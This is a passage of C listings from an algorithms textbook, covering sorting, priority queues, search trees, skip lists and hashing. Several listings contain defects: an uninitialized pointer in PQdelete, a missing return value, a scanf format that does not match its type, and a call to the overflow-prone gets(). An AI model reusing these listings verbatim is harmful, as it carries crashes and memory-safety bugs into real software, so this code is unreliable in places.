NEW(char token, link l, link r) { link x = malloc(sizeof *x); x->token = token; x->l = l; x->r = r; return x; } link parse() { char t = a[i++]; link x = NEW(t, NULL, NULL); if ((t == '+') || (t == '*')) { x->l = parse(); x->r = parse(); } return x; } ----- void traverse(int k, void (*visit)(int)) { link t; (*visit)(k); visited[k] = 1; for (t = adj[k]; t != NULL; t = t->next) if (!visited[t->v]) traverse(t->v, visit); } ----- void traverse(int k, void (*visit)(int)) { link t; QUEUEinit(V); QUEUEput(k); while (!QUEUEempty()) if (visited[k = QUEUEget()] == 0) { (*visit)(k); visited[k] = 1; for (t = adj[k]; t != NULL; t = t->next) if (visited[t->v] == 0) QUEUEput(t->v); } } ----- ---------- CHAPTER 6. Elementary Sorting Methods ----- #include <stdio.h> #include <stdlib.h> typedef int Item; #define key(A) (A) #define less(A, B) (key(A) < key(B)) #define exch(A, B) { Item t = A; A = B; B = t; } #define compexch(A, B) if (less(B, A)) exch(A, B) void sort(Item a[], int l, int r) { int i, j; for (i = l+1; i <= r; i++) for (j = i; j > l; j--) compexch(a[j-1], a[j]); } main(int argc, char *argv[]) { int i, N = atoi(argv[1]), sw = atoi(argv[2]); int *a = malloc(N*sizeof(int)); if (sw) for (i = 0; i < N; i++) a[i] = 1000*(1.0*rand()/RAND_MAX); else while (scanf("%d", &a[N]) == 1) N++; sort(a, 0, N-1); for (i = 0; i < N; i++) printf("%3d ", a[i]); printf("\n"); } ----- void selection(Item a[], int l, int r) { int i, j; for (i = l; i < r; i++) { int min = i; for (j = i+1; j <= r; j++) if (less(a[j], a[min])) min = j; exch(a[i], a[min]); } } ----- void insertion(Item a[], int l, int r) { int i; for (i = l+1; i <= r; i++) compexch(a[l], a[i]); for (i = l+2; i <= r; i++) { int j = i; Item v = a[i]; while (less(v, a[j-1])) { a[j] = a[j-1]; j--; } a[j] = v; } } ----- void bubble(Item a[], int l, int r) { int i, j; for (i = l; i < r; i++) for (j = r; j > i; j--) compexch(a[j-1], a[j]); } ----- void shellsort(Item a[], int l, int r) { int i, j, h; for (h = 1; h <= (r-l)/9; h = 3*h+1) ; for ( ; h > 0; h /= 3) for (i = l+h; i <= r; i++) { int j = i; Item v = a[i]; while (j >= l+h && less(v, a[j-h])) { a[j] = a[j-h]; j -= h; } a[j] = v; } } ----- #include <stdlib.h> #include "Item.h" #include "Array.h" main(int argc, char *argv[]) { int i, N = atoi(argv[1]), sw = atoi(argv[2]); Item *a = malloc(N*sizeof(Item)); if (sw) randinit(a, N); else scaninit(a, &N); sort(a, 0, N-1); show(a, 0, N-1); } ----- void randinit(Item [], int); void scaninit(Item [], int *); void show(Item [], int, int); void sort(Item [], int, int); ----- #include <stdio.h> #include <stdlib.h> #include "Item.h" #include "Array.h" void randinit(Item a[], int N) { int i; for (i = 0; i < N; i++) a[i] = ITEMrand(); } void scaninit(Item a[], int *N) { int i = 0; for (i = 0; i < *N; i++) if (ITEMscan(&a[i]) == EOF) break; *N = i; } void show(itemType a[], int l, int r) { int i; for (i = l; i <= r; i++) ITEMshow(a[i]); printf("\n"); } ----- typedef double Item; #define key(A) (A) #define less(A, B) (key(A) < key(B)) #define exch(A, B) { Item t = A; A = B; B = t; } #define compexch(A, B) if (less(B, A)) exch(A, B) Item ITEMrand(void); int ITEMscan(Item *); void ITEMshow(Item); ----- #include <stdio.h> #include <stdlib.h> #include "Item.h" double ITEMrand(void) { return 1.0*rand()/RAND_MAX; } int ITEMscan(double *x) { return scanf("%f", x); } void ITEMshow(double x) { printf("%7.5f ", x); } ----- #include <stdio.h> #include <stdlib.h> #include <string.h> #include "Item.h" static char buf[100000]; static int cnt = 0; int ITEMscan(char **x) { int t; *x = &buf[cnt]; t = scanf("%s", *x); cnt += strlen(*x)+1; return t; } void ITEMshow(char *x) { printf("%s ", x); } ----- struct record { char name[30]; int num; }; typedef struct record* Item; #define exch(A, B) { Item t = A; A = B; B = t; } #define compexch(A, B) if (less(B, A)) exch(A, B); int less(Item, Item); Item ITEMrand(); int ITEMscan(Item *); void ITEMshow(Item); ----- struct record data[maxN]; int Nrecs = 0; int ITEMscan(struct record **x) { *x = &data[Nrecs]; return scanf("%30s %d\n", data[Nrecs].name, &data[Nrecs++].num); } void ITEMshow(struct record *x) { printf("%3d %-30s\n", x->num, x->name); } ----- insitu(dataType data[], int a[], int N) { int i, j, k; for (i = 0; i < N; i++) { dataType v = data[i]; for (k = i; a[k] != i; k = a[j], a[j] = j) { j = k; data[k] = data[a[k]]; } data[k] = v; a[k] = k; } } ----- typedef struct node *link; struct node { Item item; link next; }; link NEW(Item, link); link init(int); void show(link); link sort(link); ----- link listselection(link h) { link max, t, out = NULL; while (h->next != NULL) { max = findmax(h); t = max->next; max->next = t->next; t->next = out; out = t; } h->next = out; return(h); } ----- void distcount(int a[], int l, int r) { int i, j, cnt[M]; int b[maxN]; for (j = 0; j < M; j++) cnt[j] = 0; for (i = l; i <= r; i++) cnt[a[i]+1]++; for (j = 1; j < M; j++) cnt[j] += cnt[j-1]; for (i = l; i <= r; i++) b[cnt[a[i]]++] = a[i]; for (i = l; i <= r; i++) a[i] = b[i]; } ----- void insertion(itemType a[], int l, int r) { int i, j; for (i = l+1; i <= r; i++) for (j = i; j > l; j--) if (less(a[j-1], a[j])) break; else exch(a[j-1], a[j]); } ---------- CHAPTER 7. Quicksort ----- int partition(Item a[], int l, int r); void quicksort(Item a[], int l, int r) { int i; if (r <= l) return; i = partition(a, l, r); quicksort(a, l, i-1); quicksort(a, i+1, r); } ----- int partition(Item a[], int l, int r) { int i = l-1, j = r; Item v = a[r]; for (;;) { while (less(a[++i], v)) ; while (less(v, a[--j])) if (j == l) break; if (i >= j) break; exch(a[i], a[j]); } exch(a[i], a[r]); return i; } ----- #define push2(A, B) push(B); push(A); void quicksort(Item a[], int l, int r) { int i; stackinit(); push2(l, r); while (!stackempty()) { l = pop(); r = pop(); if (r <= l) continue; i = partition(a, l, r); if (i-l > r-i) { push2(l, i-1); push2(i+1, r); } else { push2(i+1, r); push2(l, i-1); } } } ----- #define M 10 void quicksort(Item a[], int l, int r) { int i; if (r-l <= M) return; exch(a[(l+r)/2], a[r-1]); compexch(a[l], a[r-1]); compexch(a[l], a[r]); compexch(a[r-1], a[r]); i = partition(a, l+1, r-1); quicksort(a, l, i-1); quicksort(a, i+1, r); } void sort(Item a[], int l, int r) { quicksort(a, l, r); insertion(a, l, r); } ----- #define eq(A, B) (!less(A, B) && !less(B, A)) void quicksort(Item a[], int l, int r) { int i, j, k, p, q; Item v; if (r <= l) return; v = a[r]; i = l-1; j = r; p = l-1; q = r; for (;;) { while (less(a[++i], v)) ; while (less(v, a[--j])) if (j == l) break; if (i >= j) break; exch(a[i], a[j]); if (eq(a[i], v)) { p++; exch(a[p], a[i]); } if (eq(v, a[j])) { q--; exch(a[q], a[j]); } } exch(a[i], a[r]); j = i-1; i = i+1; for (k = l ; k < p; k++, j--) exch(a[k], a[j]); for (k = r-1; k > q; k--, i++) exch(a[k], a[i]); quicksort(a, l, j); quicksort(a, i, r); } ----- select(Item a[], int l, int r, int k) { int i; if (r <= l) return; i = partition(a, l, r); if (i > k) select(a, l, i-1, k); if (i < k) select(a, i+1, r, k); } ----- select(Item a[], int l, int r, int k) { while (r > l) { int i = partition(a, l, r); if (i >= k) r = i-1; if (i <= k) l = i+1; } } ---------- CHAPTER 8. Mergesort ----- mergeAB(Item c[], Item a[], int N, Item b[], int M ) { int i, j, k; for (i = 0, j = 0, k = 0; k < N+M; k++) { if (i == N) { c[k] = b[j++]; continue; } if (j == M) { c[k] = a[i++]; continue; } c[k] = (less(a[i], b[j])) ? a[i++] : b[j++]; } } ----- Item aux[maxN]; merge(Item a[], int l, int m, int r) { int i, j, k; for (i = m+1; i > l; i--) aux[i-1] = a[i-1]; for (j = m; j < r; j++) aux[r+m-j] = a[j+1]; for (k = l; k <= r; k++) if (less(aux[i], aux[j])) a[k] = aux[i++]; else a[k] = aux[j--]; } ----- void mergesort(Item a[], int l, int r) { int m = (r+l)/2; if (r <= l) return; mergesort(a, l, m); mergesort(a, m+1, r); merge(a, l, m, r); } ----- #define maxN 10000 Item aux[maxN]; void mergesortABr(Item a[], Item b[], int l, int r) { int m = (l+r)/2; if (r-l <= 10) { insertion(a, l, r); return; } mergesortABr(b, a, l, m); mergesortABr(b, a, m+1, r); mergeAB(a+l, b+l, m-l+1, b+m+1, r-m); } void mergesortAB(Item a[], int l, int r) { int i; for (i = l; i <= r; i++) aux[i] = a[i]; mergesortABr(a, aux, l, r); } ----- #define min(A, B) (A < B) ? A : B void mergesortBU(Item a[], int l, int r) { int i, m; for (m = 1; m < r-l; m = m+m) for (i = l; i <= r-m; i += m+m) merge(a, i, i+m-1, min(i+m+m-1, r)); } ----- link merge(link a, link b) { struct node head; link c = &head; while ((a != NULL) && (b != NULL)) if (less(a->item, b->item)) { c->next = a; c = a; a = a->next; } else { c->next = b; c = b; b = b->next; } c->next = (a == NULL) ? b : a; return head.next; } ----- link merge(link a, link b); link mergesort(link c) { link a, b; if (c->next == NULL) return c; a = c; b = c->next; while ((b != NULL) && (b->next != NULL)) { c = c->next; b = b->next->next; } b = c->next; c->next = NULL; return merge(mergesort(a), mergesort(b)); } ----- link mergesort(link t) { link u; for (Qinit(); t != NULL; t = u) { u = t->next; t->next = NULL; Qput(t); } t = Qget(); while (!Qempty()) { Qput(t); t = merge(Qget(), Qget()); } return t; } ---------- CHAPTER 9. Priority Queues and Heapsort ----- void PQinit(int); int PQempty(); void PQinsert(Item); Item PQdelmax(); ----- #include <stdlib.h> #include "Item.h" static Item *pq; static int N; void PQinit(int maxN) { pq = malloc(maxN*sizeof(Item)); N = 0; } int PQempty() { return N == 0; } void PQinsert(Item v) { pq[N++] = v; } Item PQdelmax() { int j, max = 0; for (j = 1; j < N; j++) if (less(pq[max], pq[j])) max = j; exch(pq[max], pq[N-1]); return pq[--N]; } ----- fixUp(Item a[], int k) { while (k > 1 && less(a[k/2], a[k])) { exch(a[k], a[k/2]); k = k/2; } } ----- fixDown(Item a[], int k, int N) { int j; while (2*k <= N) { j = 2*k; if (j < N && less(a[j], a[j+1])) j++; if (!less(a[k], a[j])) break; exch(a[k], a[j]); k = j; } } ----- #include <stdlib.h> #include "Item.h" static Item *pq; static int N; void PQinit(int maxN) { pq = malloc((maxN+1)*sizeof(Item)); N = 0; } int PQempty() { return N == 0; } void PQinsert(Item v) { pq[++N] = v; fixUp(pq, N); } Item PQdelmax() { exch(pq[1], pq[N]); fixDown(pq, 1, N-1); return pq[N--]; } ----- void PQsort(Item a[], int l, int r) { int k; PQinit(); for (k = l; k <= r; k++) PQinsert(a[k]); for (k = r; k >= l; k--) a[k] = PQdelmax(); } ----- #define pq(A) a[l-1+A] void heapsort(Item a[], int l, int r) { int k, N = r-l+1; for (k = N/2; k >= 1; k--) fixDown(&pq(0), k, N); while (N > 1) { exch(pq(1), pq(N)); fixDown(&pq(0), 1, --N); } } ----- typedef struct pq* PQ; typedef struct PQnode* PQlink; PQ PQinit(); int PQempty(PQ); PQlink PQinsert(PQ, Item); Item PQdelmax(PQ); void PQchange(PQ, PQlink, Item); void PQdelete(PQ, PQlink); void PQjoin(PQ, PQ); ----- #include <stdlib.h> #include "Item.h" #include "PQfull.h" struct PQnode { Item key; PQlink prev, next; }; struct pq { PQlink head, tail; }; PQ PQinit() { PQ pq = malloc(sizeof *pq); PQlink h = malloc(sizeof *h), t = malloc(sizeof *t); h->prev = t; h->next = t; t->prev = h; t->next = h; pq->head = h; pq->tail = t; return pq; } int PQempty(PQ pq) { return pq->head->next->next == pq->head; } PQlink PQinsert(PQ pq, Item v) { PQlink t = malloc(sizeof *t); t->key = v; t->next = pq->head->next; t->next->prev = t; t->prev = pq->head; pq->head->next = t; } Item PQdelmax(PQ pq) { Item max; struct PQnode *t, *x = pq->head->next; for (t = x; t->next != pq->head; t = t->next) if (t->key > x->key) x = t; max = x->key; x->next->prev = x->prev; x->prev->next = x->next; free(x); return max; } ----- void PQchange(PQ pq, PQlink x, Item v) { x->key = v; } void PQdelete(PQ pq, PQlink x) { PQlink t; t->next->prev = t->prev; t->prev->next = t->next; free(t); } void PQjoin(PQ a, PQ b) { PQlink atail, bhead; a->tail->prev->next = b->head->next; b->head->next->prev = a->tail->prev; a->head->prev = b->tail; b->tail->next = a->head; free(a->tail); free(b->head); } ----- int less(int, int); void PQinit(); int PQempty(); void PQinsert(int); int PQdelmax(); void PQchange(int); void PQdelete(int); ----- #include "PQindex.h" typedef int Item; static int N, pq[maxPQ+1], qp[maxPQ+1]; void exch(int i, int j) { int t; t = i; i = j; j = t; t = qp[i]; qp[i] = qp[j]; qp[j] = t; } void PQinit() { N = 0; } int PQempty() { return !N; } void PQinsert(int k) { qp[k] = ++N; pq[N] = k; fixUp(pq, N); } int PQdelmax() { exch(pq[1], pq[N]); fixDown(pq, 1, --N); return pq[N+1]; } void PQchange(int k) { fixUp(pq, qp[k]); fixDown(pq, qp[k], N); } ----- PQlink pair(PQlink p, PQlink q) { PQlink t; if (less(p->key, q->key)) { p->r = q->l; q->l = p; return q; } else { q->r = p->l; p->l = q; return p; } } ----- PQlink PQinsert(PQ pq, Item v) { int i; PQlink c, t = malloc(sizeof *t); c = t; c->l = z; c->r = z; c->key = v; for (i = 0; i < maxBQsize; i++) { if (c == z) break; if (pq->bq[i] == z) { pq->bq[i] = c; break; } c = pair(c, pq->bq[i]); pq->bq[i] = z; } return t; } ----- Item PQdelmax(PQ pq) { int i, j, max; PQlink x; Item v; PQlink temp[maxBQsize]; for (i = 0, max = -1; i < maxBQsize; i++) if (pq->bq[i] != z) if ((max == -1) || (pq->bq[i]->key > v)) { max = i; v = pq->bq[max]->key; } x = pq->bq[max]->l; for (i = max; i < maxBQsize; i++) temp[i] = z; for (i = max ; i > 0; i--) { temp[i-1] = x; x = x->r; temp[i-1]->r = z; } free(pq->bq[max]); pq->bq[max] = z; BQjoin(pq->bq, temp); return v; } ----- #define test(C, B, A) 4*(C) + 2*(B) + 1*(A) void BQjoin(PQlink *a, PQlink *b) { int i; PQlink c = z; for (i = 0; i < maxBQsize; i++) switch(test(c != z, b[i] != z, a[i] != z)) { case 2: a[i] = b[i]; break; case 3: c = pair(a[i], b[i]); a[i] = z; break; case 4: a[i] = c; c = z; break; case 5: c = pair(c, a[i]); a[i] = z; break; case 6: case 7: c = pair(c, b[i]); break; } } void PQjoin(PQ a, PQ b) { BQjoin(a->bq, b->bq); } ---------- CHAPTER 10. Radix Sorting ----- quicksortB(int a[], int l, int r, int w) { int i = l, j = r; if (r <= l || w > bitsword) return; while (j != i) { while (digit(a[i], w) == 0 && (i < j)) i++; while (digit(a[j], w) == 1 && (j > i)) j--; exch(a[i], a[j]); } if (digit(a[r], w) == 0) j++; quicksortB(a, l, j-1, w+1); quicksortB(a, j, r, w+1); } void sort(Item a[], int l, int r) { quicksortB(a, l, r, 0); } ----- #define bin(A) l+count[A] void radixMSD(Item a[], int l, int r, int w) { int i, j, count[R+1]; if (w > bytesword) return; if (r-l <= M) { insertion(a, l, r); return; } for (j = 0; j < R; j++) count[j] = 0; for (i = l; i <= r; i++) count[digit(a[i], w) + 1]++; for (j = 1; j < R; j++) count[j] += count[j-1]; for (i = l; i <= r; i++) aux[l+count[digit(a[i], w)]++] = a[i]; for (i = l; i <= r; i++) a[i] = aux[i]; radixMSD(a, l, bin(0)-1, w+1); for (j = 0; j < R-1; j++) radixMSD(a, bin(j), bin(j+1)-1, w+1); } ----- #define ch(A) digit(A, D) void quicksortX(Item a[], int l, int r, int D) { int i, j, k, p, q; int v; if (r-l <= M) { insertion(a, l, r); return; } v = ch(a[r]); i = l-1; j = r; p = l-1; q = r; while (i < j) { while (ch(a[++i]) < v) ; while (v < ch(a[--j])) if (j == l) break; if (i > j) break; exch(a[i], a[j]); if (ch(a[i])==v) { p++; exch(a[p], a[i]); } if (v==ch(a[j])) { q--; exch(a[j], a[q]); } } if (p == q) { if (v != '\0') quicksortX(a, l, r, D+1); return; } if (ch(a[i]) < v) i++; for (k = l; k <= p; k++, j--) exch(a[k], a[j]); for (k = r; k >= q; k--, i++) exch(a[k], a[i]); quicksortX(a, l, j, D); if ((i == r) && (ch(a[i]) == v)) i++; if (v != '\0') quicksortX(a, j+1, i-1, D+1); quicksortX(a, i, r, D); } ----- void radixLSD(Item a[], int l, int r) { int i, j, w, count[R+1]; for (w = bytesword-1; w >= 0; w--) { for (j = 0; j < R; j++) count[j] = 0; for (i = l; i <= r; i++) count[digit(a[i], w) + 1]++; for (j = 1; j < R; j++) count[j] += count[j-1]; for (i = l; i <= r; i++) aux[count[digit(a[i], w)]++] = a[i]; for (i = l; i <= r; i++) a[i] = aux[i]; } } ---------- CHAPTER 11. Special-Purpose Sorts ----- shuffle(itemType a[], int l, int r) { int i, j, m = (l+r)/2; for (i = l, j = 0; i <= r; i+=2, j++) { aux[i] = a[l+j]; aux[i+1] = a[m+1+j]; } for (i = l; i <= r; i++) a[i] = aux[i]; } unshuffle(itemType a[], int l, int r) { int i, j, m = (l+r)/2; for (i = l, j = 0; i <= r; i+=2, j++) { aux[l+j] = a[i]; aux[m+1+j] = a[i+1]; } for (i = l; i <= r; i++) a[i] = aux[i]; } ----- mergeTD(itemType a[], int l, int r) { int i, m = (l+r)/2; if (r == l+1) compexch(a[l], a[r]); if (r < l+2) return; unshuffle(a, l, r); mergeTD(a, l, m); mergeTD(a, m+1, r); shuffle(a, l, r); for (i = l+1; i < r; i+=2) compexch(a[i], a[i+1]); } ----- mergeBU(itemType a[], int l, int r) { int i, j, k, N = r-l+1; for (k = N/2; k > 0; k /= 2) for (j = k % (N/2); j+k < N; j += (k+k)) for (i = 0; i < k; i++) compexch(a[l+j+i], a[l+j+i+k]); } ----- void batchersort(itemType a[], int l, int r) { int i, j, k, p, N = r-l+1; for (p = 1; p < N; p += p) for (k = p; k > 0; k /= 2) for (j = k%p; j+k < N; j += (k+k)) for (i = 0; i < k; i++) if (j+i+k < N) if ((j+i)/(p+p) == (j+i+k)/(p+p)) compexch(a[l+j+i], a[l+j+i+k]); } ----- id = 1; for (i = 1; i <= S; i++) a[i] = strGet(0); while (a[1] < z) { strPut(id, (c = a[1])); if ((a[1] = strGet(0)) < c) mark(a[1]); fixDown(1, S); if (marked(a[1])) { for (i = 1; i <= S; i++) unmark(a[i]); strPut(id, z); id = id % S + 1; } } strPut(id, z); ----- void compexch(int x, int y) { int t; t = stage[a[x]]; if (t < stage[a[y]]) t = stage[a[y]]; t++; stage[a[x]] = t; stage[a[y]] = t; printf("%3d %3d %3d\n", t, a[x], a[y]); } ---------- CHAPTER 12. Symbol Tables and BSTs ----- void STinit(int); int STcount(); void STinsert(Item); Item STsearch(Key); void STdelete(Item); Item STselect(int); void STsort(void (*visit)(Item)); ----- #include <stdio.h> #include <stdlib.h> #include "Item.h" #include "ST.h" void main(int argc, char *argv[]) { int N, maxN = atoi(argv[1]), sw = atoi(argv[2]); Key v; Item item; STinit(maxN); for (N = 0; N < maxN; N++) { if (sw) v = ITEMrand(); else if (ITEMscan(&v) == EOF) break; if (STsearch(v) != NULLitem) continue; key(item) = v; STinsert(item); } STsort(ITEMshow); printf("\n"); printf("%d keys ", N); printf("%d distinct keys\n", STcount()); } ----- static Item *st; static int M = maxKey; void STinit(int maxN) { int i; st = malloc((M+1)*sizeof(Item)); for (i = 0; i <= M; i++) st[i] = NULLitem; } int STcount() { int i, N = 0; for (i = 0; i < M; i++) if (st[i] != NULLitem) N++; return N; } void STinsert(Item item) { st[key(item)] = item; } Item STsearch(Key v) { return st[v]; } void STdelete(Item item) { st[key(item)] = NULLitem; } Item STselect(int k) { int i; for (i = 0; i < M; i++) if (st[i] != NULLitem) if (k-- == 0) return st[i]; } void STsort(void (*visit)(Item)) { int i; for (i = 0; i < M; i++) if (st[i] != NULLitem) visit(st[i]); } ----- static Item *st; static int N; void STinit(int maxN) { st = malloc((maxN)*sizeof(Item)); N = 0; } int STcount() { return N; } void STinsert(Item item) { int j = N++; Key v = key(item); while (j>0 && less(v, key(st[j-1]))) { st[j] = st[j-1]; j--; } st[j] = item; } Item STsearch(Key v) { int j; for (j = 0; j < N; j++) { if (eq(v, key(st[j]))) return st[j]; if (less(v, key(st[j]))) break; } return NULLitem; } Item STselect(int k) { return st[k]; } void STsort(void (*visit)(Item)) { int i; for (i = 0; i < N; i++) visit(st[i]); } ----- typedef struct STnode* link; struct STnode { Item item; link next; }; static link head, z; static int N; static link NEW(Item item, link next) { link x = malloc(sizeof *x); x->item = item; x->next = next; return x; } void STinit(int max) { N = 0; head = (z = NEW(NULLitem, NULL)); } int STcount() { return N; } Item searchR(link t, Key v) { if (t == z) return NULLitem; if (eq(key(t->item), v)) return t->item; return searchR(t->next, v); } Item STsearch(Key v) { return searchR(head, v); } void STinsert(Item item) { head = NEW(item, head); N++; } ----- Item search(int l, int r, Key v) { int m = (l+r)/2; if (l > r) return NULLitem; if eq(v, key(st[m])) return st[m]; if (l == r) return NULLitem; if less(v, key(st[m])) return search(l, m-1, v); else return search(m+1, r, v); } Item STsearch(Key v) { return search(0, N-1, v); } ----- #include <stdlib.h> #include "Item.h" typedef struct STnode* link; struct STnode { Item item; link l, r; int N }; static link head, z; link NEW(Item item, link l, link r, int N) { link x = malloc(sizeof *x); x->item = item; x->l = l; x->r = r; x->N = N; return x; } void STinit() { head = (z = NEW(NULLitem, 0, 0, 0)); } int STcount() { return head->N; } Item searchR(link h, Key v) { Key t = key(h->item); if (h == z) return NULLitem; if eq(v, t) return h->item; if less(v, t) return searchR(h->l, v); else return searchR(h->r, v); } Item STsearch(Key v) { return searchR(head, v); } link insertR(link h, Item item) { Key v = key(item), t = key(h->item); if (h == z) return NEW(item, z, z, 1); if less(v, t) h->l = insertR(h->l, item); else h->r = insertR(h->r, item); (h->N)++; return h; } void STinsert(Item item) { head = insertR(head, item); } ----- void sortR(link h, void (*visit)(Item)) { if (h == z) return; sortR(h->l, visit); visit(h->item); sortR(h->r, visit); } void STsort(void (*visit)(Item)) { sortR(head, visit); } ----- void STinsert(Item item) { Key v = key(item); link p = head, x = p; if (head == NULL) { head = NEW(item, NULL, NULL, 1); return; } while (x != NULL) { p = x; x->N++; x = less(v, key(x->item)) ? x->l : x->r; } x = NEW(item, NULL, NULL, 1); if (less(v, key(p->item))) p->l = x; else p->r = x; } ----- #define null(A) (eq(key(A), key(NULLitem))) static char text[maxN]; main(int argc, char *argv[]) { int i, t, N = 0; char query[maxQ]; char *v; FILE *corpus = fopen(*++argv, "r"); while ((t = getc(corpus)) != EOF) if (N < maxN) text[N++] = t; else break; text[N] = '\0'; STinit(maxN); for (i = 0; i < N; i++) STinsert(&text[i]); while (gets(query) != NULL) if (!null(v = STsearch(query))) printf("%11d %s\n", v-text, query); else printf("(not found) %s\n", query); } ----- link rotR(link h) { link x = h->l; h->l = x->r; x->r = h; return x; } link rotL(link h) { link x = h->r; h->r = x->l; x->l = h; return x; } ----- link insertT(link h, Item item) { Key v = key(item); if (h == z) return NEW(item, z, z, 1); if (less(v, key(h->item))) { h->l = insertT(h->l, item); h = rotR(h); } else { h->r = insertT(h->r, item); h = rotL(h); } return h; } void STinsert(Item item) { head = insertT(head, item); } ----- Item selectR(link h, int k) { int t = h->l->N; if (h == z) return NULLitem; if (t > k) return selectR(h->l, k); if (t < k) return selectR(h->r, k-t-1); return h->item; } Item STselect(int k) { return selectR(head, k); } ----- link partR(link h, int k) { int t = h->l->N; if (t > k ) { h->l = partR(h->l, k); h = rotR(h); } if (t < k ) { h->r = partR(h->r, k-t-1); h = rotL(h); } return h; } ----- link joinLR(link a, link b) { if (b == z) return a; b = partR(b, 0); b->l = a; return b; } link deleteR(link h, Key v) { link x; Key t = key(h->item); if (h == z) return z; if (less(v, t)) h->l = deleteR(h->l, v); if (less(t, v)) h->r = deleteR(h->r, v); if (eq(v, t)) { x = h; h = joinLR(h->l, h->r); free(x); } return h; } void STdelete(Key v) { head = deleteR(head, v); } ----- link STjoin(link a, link b) { if (b == z) return a; if (a == z) return b; b = STinsert(b, a->item); b->l = STjoin(a->l, b->l); b->r = STjoin(a->r, b->r); free(a); return b; } ----- ---------- CHAPTER 13. Balanced Trees ----- link balanceR(link h) { if (h->N < 2) return h; h = partR(h, h->N/2); h->l = balanceR(h->l); h->r = balanceR(h->r); return h; } ----- link insertR(link h, Item item) { Key v = key(item), t = key(h->item); if (h == z) return NEW(item, z, z, 1); if (rand()< RAND_MAX/(h->N+1)) return insertT(h, item); if less(v, t) h->l = insertR(h->l, item); else h->r = insertR(h->r, item); (h->N)++; return h; } void STinsert(Item item) { head = insertR(head, item); } ----- link STjoinR(link a, link b) { if (a == z) return b; b = STinsert(b, a->rec); b->l = STjoin(a->l, b->l); b->r = STjoin(a->r, b->r); fixN(b); free(a); return b; } link STjoin(link a, link b) { if (rand()/(RAND_MAX/(a->N+b->N)+1) < a->N) STjoinR(a, b); else STjoinR(b, a); } ----- link joinLR(link a, link b) { if (a == z) return b; if (b == z) return a; if (rand()/(RAND_MAX/(a->N+b->N)+1) < a->N) { a->r = joinLR(a->r, b); return a; } else { b->l = joinLR(a, b->l); return b; } } ----- link splay(link h, Item item) { Key v = key(item); if (h == z) return NEW(item, z, z, 1); if (less(v, key(h->item))) { if (hl == z) return NEW(item, z, h, h->N+1); if (less(v, key(hl->item))) { hll = splay(hll, item); h = rotR(h); } else { hlr = splay(hlr, item); hl = rotL(hl); } return rotR(h); } else { if (hr == z) return NEW(item, h, z, h->N+1); if (less(key(hr->item), v)) { hrr = splay(hrr, item); h = rotL(h); } else { hrl = splay(hrl, item); hr = rotR(hr); } return rotL(h); } } void STinsert(Item item) { head = splay(head, item); } ----- link RBinsert(link h, Item item, int sw) { Key v = key(item); if (h == z) return NEW(item, z, z, 1, 1); if ((hl->red) && (hr->red)) { h->red = 1; hl->red = 0; hr->red = 0; } if (less(v, key(h->item))) { hl = RBinsert(hl, item, 0); if (h->red && hl->red && sw) h = rotR(h); if (hl->red && hll->red) { h = rotR(h); h->red = 0; hr->red = 1; } } else { hr = RBinsert(hr, item, 1); if (h->red && hr->red && !sw) h = rotL(h); if (hr->red && hrr->red) { h = rotL(h); h->red = 0; hl->red = 1; } } fixN(h); return h; } void STinsert(Item item) { head = RBinsert(head, item, 0); head->red = 0; } ----- Item searchR(link t, Key v, int k) { if (eq(v, key(t->item))) return t->item; if (less(v, key(t->next[k]->item))) { if (k == 0) return NULLitem; return searchR(t, v, k-1); } return searchR(t->next[k], v, k); } Item STsearch(Key v) { return searchR(head, v, lgN); } ----- typedef struct STnode* link; struct STnode { Item item; link* next; int sz; }; static link head, z; static int N, lgN; link NEW(Item item, int k) { int i; link x = malloc(sizeof *x); x->next = malloc(k*sizeof(link)); x->item = item; x->sz = k; for (i = 0; i < k; i++) x->next[i] = z; return x; } void STinit(int max) { N = 0; lgN = 0; z = NEW(NULLitem, 0); head = NEW(NULLitem, lgNmax); } ----- int randX() { int i, j, t = rand(); for (i = 1, j = 2; i < lgNmax; i++, j += j) if (t > RAND_MAX/j) break; if (i > lgN) lgN = i; return i; } void insertR(link t, link x, int k) { Key v = key(x->item); if (less(v, key(t->next[k]->item))) { if (k < x->sz) { x->next[k] = t->next[k]; t->next[k] = x; } if (k == 0) return; insertR(t, x, k-1); return; } insertR(t->next[k], x, k); } void STinsert(Key v) { insertR(head, NEW(v, randX()), lgN); N++; } ----- void deleteR(link t, Key v, int k) { link x = t->next[k]; if (!less(key(x->item), v)) { if (eq(v, key(x->item))) { t->next[k] = x->next[k]; } if (k == 0) { free(x); return; } deleteR(t, v, k-1); return; } deleteR(t->next[k], v, k); } void STdelete(Key v) { deleteR(head, v, lgN); N--; } ---------- CHAPTER 14. Hashing ----- int hash(char *v, int M) { int h = 0, a = 127; for (; *v != '\0'; v++) h = (a*h + *v) % M; return h; } ----- int hashU(char *v, int M) { int h, a = 31415, b = 27183; for (h = 0; *v != '\0'; v++, a = a*b % (M-1)) h = (a*h + *v) % M; return h; } ----- static link *heads, z; static int N, M; void STinit(int max) { int i; N = 0; M = max/5; heads = malloc(M*sizeof(link)); z = NEW(NULLitem, NULL); for (i = 0; i < M; i++) heads[i] = z; } Item STsearch(Key v) { return searchR(heads[hash(v, M)], v); } void STinsert(Item item) { int i = hash(key(item), M); heads[i] = NEW(item, heads[i]); N++; } void STdelete(Item item) { int i = hash(key(item), M); heads[i] = deleteR(heads[i], item); } ----- #include <stdlib.h> #include "Item.h" #define null(A) (key(st[A]) == key(NULLitem)) static int N, M; static Item *st; void STinit(int max) { int i; N = 0; M = 2*max; st = malloc(M*sizeof(Item)); for (i = 0; i < M; i++) st[i] = NULLitem; } int STcount() { return N; } void STinsert(Item item) { Key v = key(item); int i = hash(v, M); while (!null(i)) i = (i+1) % M; st[i] = item; N++; } Item STsearch(Key v) { int i = hash(v, M); while (!null(i)) if eq(v, key(st[i])) return st[i]; else i = (i+1) % M; return NULLitem; } ----- void STdelete(Item item) { int j, i = hash(key(item), M); Item v; while (!null(i)) if eq(key(item), key(st[i])) break; else i = (i+1) % M; if (null(i)) return; st[i] = NULLitem; N--; for (j = i+1; !null(j); j = (j+1) % M, N--) { v = st[j]; st[j] = NULLitem; STinsert(v); } } ----- void STinsert(Item item) { Key v = key(item); int i = hash(v, M); int k = hashtwo(v, M); while (!null(i)) i = (i+k) % M; st[i] = item; N++; } Item STsearch(Key v) { int i = hash(v, M); int k = hashtwo(v, M); while (!null(i)) if eq(v, key(st[i])) return st[i]; else i = (i+k) % M; return NULLitem; } ----- void expand(); void STinsert(Item item) { Key v = key(item); int i = hash(v, M); while (!null(i)) i = (i+1) % M; st[i] = item; if (N++ > M/2) expand(); } void expand() { int i; Item *t = st; init(M+M); for (i = 0; i < M/2; i++) if 